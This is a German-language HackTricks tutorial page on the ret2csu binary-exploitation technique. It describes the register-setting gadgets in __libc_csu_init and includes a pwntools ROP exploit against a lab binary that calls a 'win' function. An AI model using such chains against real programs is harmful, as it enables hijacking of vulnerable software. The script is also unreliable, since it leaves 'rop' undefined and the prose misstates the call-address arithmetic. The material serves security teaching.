5.5 KiB
Ret2csu
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories einreichen.
Grundlegende Informationen
ret2csu ist eine Hacking-Technik, die verwendet wird, wenn Sie versuchen, die Kontrolle über ein Programm zu übernehmen, aber die Gadgets, die Sie normalerweise verwenden, um das Verhalten des Programms zu manipulieren, nicht finden können.
Wenn ein Programm bestimmte Bibliotheken verwendet (wie libc), verfügt es über einige integrierte Funktionen zur Verwaltung der Kommunikation zwischen verschiedenen Teilen des Programms. Unter diesen Funktionen befinden sich einige versteckte Schätze, die als unsere fehlenden Gadgets fungieren können, insbesondere eine namens __libc_csu_init
.
Die magischen Gadgets in __libc_csu_init
In __libc_csu_init
gibt es zwei Sequenzen von Anweisungen (unsere "magischen Gadgets"), die hervorstechen:
- Die erste Sequenz ermöglicht es uns, Werte in mehreren Registern (rbx, rbp, r12, r13, r14, r15) einzurichten. Diese dienen als Speicherplätze, in denen wir Zahlen oder Adressen speichern können, die wir später verwenden möchten.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
Dieses Gadget ermöglicht es uns, diese Register zu steuern, indem wir Werte vom Stapel in sie poppen.
- Die zweite Sequenz verwendet die von uns eingerichteten Werte, um ein paar Dinge zu tun:
- Bestimmte Werte in andere Register verschieben, um sie für uns als Parameter in Funktionen vorzubereiten.
- Einen Aufruf an eine Position durchführen, die durch Addition der Werte in r15 und rbx bestimmt wird, und dann rbx mit 8 multipliziert.
mov rdx, r14;
mov rsi, r13;
mov edi, r12d;
call qword [r15 + rbx*8];
Beispiel
Stellen Sie sich vor, Sie möchten einen Syscall ausführen oder eine Funktion wie write()
aufrufen, aber spezifische Werte in den Registern rdx
und rsi
als Parameter benötigen. Normalerweise würden Sie nach Gadgets suchen, die diese Register direkt setzen, aber Sie finden keine.
Hier kommt ret2csu ins Spiel:
- Richten Sie die Register ein: Verwenden Sie den ersten magischen Gadget, um Werte vom Stapel in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) und r15 zu laden.
- Verwenden Sie das zweite Gadget: Mit diesen eingestellten Registern verwenden Sie das zweite Gadget. Dadurch können Sie Ihre ausgewählten Werte in
rdx
undrsi
verschieben (aus r14 und r13), um Parameter für einen Funktionsaufruf vorzubereiten. Darüber hinaus können Sie durch die Kontrolle vonr15
undrbx
das Programm dazu bringen, eine Funktion aufzurufen, die sich an der von Ihnen berechneten Adresse befindet und in[r15 + rbx*8]
platziert wird.
Sie haben ein Beispiel, das diese Technik verwendet und hier erklärt, und dies ist der endgültige Exploit, den es verwendet:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
{% hint style="warning" %}
Beachten Sie, dass das vorherige Exploit nicht dazu gedacht ist, eine RCE
durchzuführen, sondern lediglich eine Funktion namens win
aufzurufen (die Adresse von win
aus stdin zu nehmen, indem gets in der ROP-Kette aufgerufen wird und sie in r15 gespeichert wird) mit einem dritten Argument mit dem Wert 0xdeadbeefcafed00d
.
{% endhint %}
Warum nicht einfach libc direkt verwenden?
Normalerweise sind diese Fälle auch anfällig für ret2plt + ret2lib, aber manchmal müssen Sie mehr Parameter kontrollieren als mit den Gadgets, die Sie direkt in libc finden können. Zum Beispiel erfordert die write()
-Funktion drei Parameter, und es ist möglicherweise nicht möglich, Gadgets zu finden, um diese direkt zu setzen.